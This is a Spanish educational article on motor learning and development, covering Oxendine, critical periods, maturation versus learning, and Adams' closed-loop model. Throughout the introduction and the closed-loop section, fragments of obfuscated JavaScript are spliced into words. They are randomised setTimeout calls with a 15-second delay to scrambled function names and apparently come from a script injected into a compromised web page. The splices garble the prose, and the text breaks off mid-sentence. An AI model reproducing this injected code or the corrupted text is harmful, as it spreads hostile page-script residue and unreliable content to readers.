EL PROCESO DE APRENDIZAJE Y DESARROLLO MOTOR

Autor: Ángel Pinilla Torres


INTRODUCCIÓN.

         El aprendizaje y desarrollo motor ha sido siempre un campo muy estudiado y analizado por autores como Oxendine, Piaget, Paulov, Skinner, Weldford, Köhler, etc.


         De esta manera, en este artículo tratamos de situarnos en el marco teórico donde se produce la comunicación profesor – alumno y alumnos – alumnos, analizandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando sus núcleos de interés: la información, las propuestas, las correcciones, los estímulos, las respuestas, el feedback o conocimiento de los resultados, etc.


         Nos centramos, por tanto, en todos esos mecanismos y factores que hacen posible la comunicación, la correcta ejecución de las tareas y todos aquellos aspectos que permiten que el proceso de enseñanza – aprendizaje se desarrolle de una manera óptima.


 


1.- EL PROCESO DE APRENDIZAJE MOTOR

         Oxendine nos dice que “el aprendizaje motor es un proceso mediante el cual se producen cambios en la conducta por medio de la práctica y de la experiencia”.


          En este sentido, las posibilidades motrices del niño varían enormemente con la edad y se hacen cada vez más complejas a medida que crecen. Sin embargo, en el proceso de aprendizaje motor hay un momento idóneo para cada tarea, denominado periodo crítico, en el que se consigue la máxima eficacia y economía de esfuerzo en el aprendizaje de una tarea concreta. Por ejemplo, el período crítico para el aprendizaje de la marcha es entre el primer y segundo año de vida.


         Por otra parte, queremos hacer una distinción conceptual entre los términos aprendizaje y maduración.


         Maduración es todo cambio o evolución que se produce en el organismo del individuo sin necesidad de recurrir a una práctica motriz constante. (Por ejemplo, una vez que el niño cumple el primer año de vida ya tiene la maduración adecuada y un desarrollo óptimo de las extremidades inferiores como para el aprendizaje de la marcha.)


         Aprendizaje, sin embargo, es el fruto del entrenamiento diario y de la repetición de la práctica motriz hasta adquirir un grado de experiencia exitoso. (Por ejemplo el aprendizaje de las habilidades específicas: lanzamiento a canasta, remate de voleibol, pase de balonmano, etc.).


2.- MODELOS EXPLICATIVOS DEL APRENDIZAJE MOTOR

           Todos los autores que estudian el proceso de aprendizaje motor, argumentan de una u otra manera la aparición de 3 fases o procesos muy generales:


1.- La aparición de un estímulo.

2.- Activación de un proceso neurofisiológico (cada autor lo llamará de una manera).

3.- Generación de una conducta o respuesta a ese estímulo.

          En base a estas 3 fases muy genéricas, existen multitud de modelos y teorías que pretenden explicar el proceso de aprendizaje motor. Concretamente existen 4 vertientes explicativas del aprendizaje motor: Modelos Cibernéticos, Modelos del procesamiento de la Información, Modelos Adaptativos y Modelos Descriptivos.


           

2.1.- Modelos Cibernéticos:

            Fundamentados en la teoría de la cibernética o ciencia de la comunicación, estos modelos entienden el aprendizaje motor como si se tratara de un ordenador, el cual recibe un estímulo o “Input” y emite una respuesta o “Output”, que es generada a través de un proceso.


            Una de las aportaciones más valiosas de estos modelos es la regulación de la tarea motriz mediante mecanismos de feedback o Conocimiento de los Resultados, también denominados “Sistemas de retroalimentación”.


            Los Modelos Cibernéticos más representativos son el Modelo de Circuito Cerrado de Adams y el Programa Motor de Keele.


 


          *Modelo de Circuito Cerrado: es aplicable al aprendizaje de tareas motrices continuas como por ejemplo correr, pedalear, andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andar, nadar, etc.


          Adams nos explica en este modelo, que a la hora de realizar una actividad física (por ejemplo salir a caminar), existe en nuestro organismo una “Huella de memoria”, es decir, una imagen mental de aquello que vamos a hacer (por ejemplo pensar el recorrido que vas a andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andar, con quién lo vas a hacer, etc.).


          Por otra parte, también existe la “Huella Perceptiva”, que es la sensación que se tiene una vez que se está realizandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}